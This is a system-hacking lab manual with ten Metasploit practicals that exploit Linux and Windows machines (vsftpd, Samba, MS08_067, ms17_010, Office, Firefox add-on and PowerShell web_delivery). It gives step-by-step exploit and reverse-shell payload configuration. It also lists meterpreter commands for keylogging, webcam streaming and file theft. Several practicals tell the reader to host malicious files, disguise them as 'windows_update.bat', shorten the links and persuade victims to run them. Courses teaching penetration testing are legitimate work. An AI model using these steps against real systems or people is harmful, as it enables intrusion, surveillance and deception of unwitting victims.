
Lab Manual 

THE DOCUMENT INCLUDES ADDITIONAL

PRACTICALS WHICH MAY OR MAY NOT BE COVERED

IN THE COURSE

Hacking with 

System Hacking 



 

 

INDEX 

S. No. Practical Name Page No. 

1 Hacking Linux OS using Metasploit Framework 1 

2 Hacking Linux operating system with Samba vulnerability 4 

3 Steps to hack Linux OS using Metasploit framework 7 

4 Hacking Windows Server 2003 with MS08_067 exploit 9 

5 Hacking Windows 7 Operating System with 

 ms17_010 exploit 

12 

6 Meterpreter Commands 19 

7 Hacking windows machine with MS15_100 exploit 25 

8 Hacking Windows 7 using Firefox addon exploit 29 

9 Hacking windows computer using vulnerability in  

office application 

32 

10 Hacking Windows 10 using PowerShell commands 34 

 

 



Page | 1  
 

Practical 1: Hacking Linux OS using Metasploit Framework 

Execute the following commands to start Metasploit framework.  

 

Consider metasploitable2 as a target for this practical. Perform port scan using nmap to identify 
vulnerable services on the target machine.  

 

It is identified that the target is running a vulnerable version of vsftpd on port number 21. To 
exploit the target machine with the help of vulnerable software running on port 21 follow the steps 
below. 

Use search command to search exploit for vsftpd 2.3.4 

 

Execute the following command to load exploit (use command is used to load exploits). 

 

 

By executing show options command, we can view options that need to be configured for exploit. 
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To set RHOST value, execute the following command. 

 

To list all suitable payloads that work with the above exploit, execute show payloads command 

 

To configure payload, execute the set command as shown below 

 

Execute show options command, to view options that need to be configured for payload. 

 

To set LHOST and LPORT values for payload, execute the following command. 
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Finally, execute the exploit command to gain access to the target machine. 

 

We can execute Linux commands. 
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Practical 2: Hacking Linux operating system with Samba vulnerability 

Open kali Linux terminal, enter the following commands to start the Metasploit framework 

service postgresql start 

msfconsole 

 

Search for an exploit using usermap_script 

Search usermap_script 

 

To configure exploit, enter the below command 

use <exploit path> 

 

 

To view exploit options, execute show options 

 

To configure RHOST, use set command  

set RHOST <IP address> 
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to list suitable payloads for configured exploit, execute show payloads 

 

To configure payload, set PAYLOAD cmd/unix/reverse 

 

to view payload options, show options 

 

to configure Payloads options, set LHOST <IP address> and set LPORT <Port No> 

 

if all options are properly configured then exploit 
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Practical 3: Steps to hack Linux OS using Metasploit framework 

Consider metasploitable2 as a target for this practical. After performing a port scan using nmap, we 
can observe that the target is running UnrealIRC on port number 6667. To exploit the target, start 
Metasploit framework and search for unrealirc. Load exploit and set RHOST and RPORT options.  

 

Select a payload that suits our requirements, set payload and payload options as shown 
below. 

 

Verify exploit and payload options before running exploit command. RHOST and LHOST 
must be target and attackers IP addresses respectively. RPORT value, in this case, is 6667 as 
we are targeting the vulnerable application running on this port at target’s end. LPORT can 
be any valid port number on which attacker want to handle the reverse connection. 

   



Page | 8  
 

 

Executing exploit command will help us gain access to the target machine. 

 

After gaining access to the target machine, we can execute Linux commands to explore 
directories and do more. 
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Practical 4: Hacking Windows Server 2003 with MS08_067 exploit 

Execute following commands in terminal to start the Metasploit framework 

service postgresql start 

msfconsole 

or simply click on Metasploit Framework icon in dork 

 

Search for exploit ms08_067 using the search command 

search <Exploit Code> 

 

To configure exploit, enter the below command 

use <exploit path> 

Verify exploit options using show options command; it is observed that we need to set RHOST. 
Execute set RHOST <IP address> to set RHOST value.  
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Choose a suitable payload by executing show payloads command and set payload using set 
PAYLOAD windows/meterpreter/reverse_tcp_allports command and verify payload options. 

 

To set Payloads options, enter the following commands 

set LHOST <IP address> 

set LPORT <Port No> 
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Make sure to verify exploit and payload options, if everything is configured correctly then execute 
the exploit command to gain access to the target machine. Wait for reverse connection, as we 
have selected meterpreter payload, we gain meterpreter access using which we can control target 
computer. 
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Practical 5: Hacking Windows 7 Operating System with 

 ms17_010 exploit 

Start Metasploit Framework and search for ms17_010 exploit  

 

Configure the exploit as shown below. 

 

Verify the exploit options and set RHOST value to the target’s IP address 

 

 

In this practical, let us perform an attack using three different payloads.  

Payload 1: 

At first, we will start with a payload that helps us gain shell access to the target computer. Execute 
show payloads command and choose shell payload from the list of payloads.  



Page | 13  
 

 

To set payloads options, enter the following commands 

set LHOST <IP address> 

set LPORT <Port No> 

 

Verify the configured options, then execute exploit command to gain shell access.  
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Here we are targeting Windows 7 machine, so after exploitation, we got windows shell prompt 
where we can execute different MS-DOS commands to grab some sensitive information from the 
target machine.   

 

Payload 2: 

Now let us use a different payload that provides a graphical view of the target computer as a 
separate window on attacker’s machine. Here, we need to change payload to perform desired 
operation (remove shell payload and add another payload). Execute the unset payload command 
to remove the previous payload. To gain graphical access select 
windows/x64/vncinject/reverse_tcp payload from the list of payload options. 
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To set Payloads options, enter the following commands 

set LHOST <IP address> 

set LPORT <Port No> 
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Check the configured options and execute the exploit command, which automatically opens a 
separate window with target’s computer (Windows 7) interface as shown in below image. 

 

 

Payload 3: 

Now let us use a meterpreter payload to gain more control over the target system. We need to 
change payload to windows/meterpreter/reverse_tcp  
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To set Payloads options, enter the following commands 

set LHOST <IP address> 

set LPORT <Port No> 

 

if everything is properly configured then and run exploit command to gain meterpreter access to 
the target machine. 
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Practical 6: Meterpreter Commands 

sysinfo - To know details about the target system. 

 

ifconfig - To identify the victim’s IP address. 

 

pwd - To know the current working directory is 

cd - To change the directory 

 

ls - To list all available files in the current directory 
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cat - To read the contents of the file. 

 

download - Used to download any file form the victim PC to attacker PC 

 

rm - To delete any file(s) 
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upload - Used to upload any file form attacker machine to victim machine. 

We need to give the complete file path to transfer that file successfully. 

  

 
background - Used to come out of a valid session without losing it. 

 

We can use sessions –i <ID no> command 

To choose a particular session from a list of active sessions. 
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keyscan_start - To start a passive keylogger on the target machine 

 

keyscan_dump   - To get keylogger logs 

 

keyscan_stop - To stop the keylogger 

 

ps - to list running processes and their Process IDs (PIDs) 

 

migrate - Used to jump from one process (PID) to another process 

 

getuid - Used to know userid of the target machine 

 

getpid - Used to know the running process ID (active session) 
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execute - To execute any executable file like a .exe or .msi on the target machine 

 

screenshot - Used to capture the screen of victim’s machine, the image is saved to root directory in 
attacker’s machine. 

 

 

 

 

We can turn-on victim’s webcam and stream (live) with webcam_stream command
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To take pictures from victim webcam use webcam_snap option 

 

 

shell - To enter in to shell or cmd or terminal. 
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Practical 7: Hacking windows machine with MS15_100 exploit. 

load Metasploit Framework using  

service postgresql start 

msfconsole 

 

Search exploit using search ms15_100 command 

 

load exploit using following command 

use <exploit path> 

 

Verify options by executing show options command 
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to set exploit options, execute following commands 

set SRVHOST <attacker IP> 

set FILENAME <filename.mcl> 

set FILE_NAME <filename.exe> 

 

To configure payload and set payload options, run following commands 

set PAYLOAD <payload name> 

set LHOST <attacker IP> 

set LPORT <attacker port> 

 

Finally, execute exploit command to gain access to target computer.  

 

After exploitation, it is observed that crack.mcl file is created and stored on attacker’s computer at 
/root/.msf5/local/crack.mcl location. We need to share this malicious windows media player file 
with that target.  

Follow the steps below to trick our target to download and execute the above created malicious 
file.  

At first copy the malicious file on to desktop using cp command  

cp /root/.msf5/local/crack.mcl /root/Desktop 

 

Visit https://send.firefox.com and upload crack.mcl file saved on Desktop. 

 

https://send.firefox.com/
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This website generates a link from where anyone can download the malicious file (crack.mcl) over 
the internet. 

 

we can even shorten the link created by send.firefox.com using any online URL shortening services 
(http://tinyurl.com)   

http://tinyurl.com/
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Convince our target to click on the link, download and execute crack.mcl 

 

 

If the target executes downloaded the malicious file (crack.mcl), then a new meterpreter session 
opens on attacker’s machine.   
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Practical 8: Hacking Windows 7 using Firefox addon exploit 

Start Metasploit Framework and search for firefox exploit using following search command 

search firefox_xpi 

 

Load exploit using use command as shown below 

 

Verify options by executing show options command 

 

Configure SRVHOST, SRVPORT, URIPATH as shown below 

 

Run show targets command and set a target to Native Payload as shown in below image 
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Set a windows/meterpreter_reverse_tcp payload using set payload command 

 

Verify exploit and payload options using show options command 

 

Set LHOST and LPORT values for payload 
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Once everything is configured correctly, run exploit command to start the malicious server. 

 

Share http://192.168.1.107:80/ link with the victim. If the victim clicks on the malicious link 
(in firefox browser version <40) then a new meterpreter session start on attacker’s machine 
as shown in below image. 

 

 

 

  

http://192.168.1.107/
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Practical 9: Hacking windows computer using a vulnerability in  

office application 

Start Metasploit Framework and search for an office_word exploit 

 

load exploit use command and verify exploit options using show options command 

 

 

 

Change filename and set SRVHOST value. 

 

Choose a windows meterpreter payload to gain reverse connection.   
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Set attacker’s IP address as LHOST any add any valid port number under LPORT. After configuring 
values, run exploit command 

 

Share http://192.168.1.102:8080/default.hta with the target and convince them to click on the link 
and download a malicious file. Soon after target executes that malicious file, a new meterpreter 
session opens on attacker’s machine.     

 

 

  

http://192.168.1.102:8080/default.hta
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Practical 10: Hacking windows 10 using PowerShell commands 

Load Metasploit Framework and search for web_delivery exploit. 

 

Load the above exploit using use command and verify exploit options. 

 

As this is a client-side attack add attacker’s IP address under SRVHOST and set URIPATH to /  

 

 

Verify exploit options. In this case, we can observe that by default a python payload is added. To 
remove the default payload, execute unset payload command. 
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After removing the default payload execute show targets command and set a target to PSH 
(PowerShell). Add LHOST and LPORT values.  
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run exploit command. 

 

Copy the exploit code and save that as .bat (windows_update.bat) file in /var/www/html  

 

 

 

 

Run Apache web server as shown below.  

 

Create a link (refer practical 7) that can help your target download the malicious file 

 

If the target executes the malicious file, then a new meterpreter session starts on the attacker’s 
machine. 
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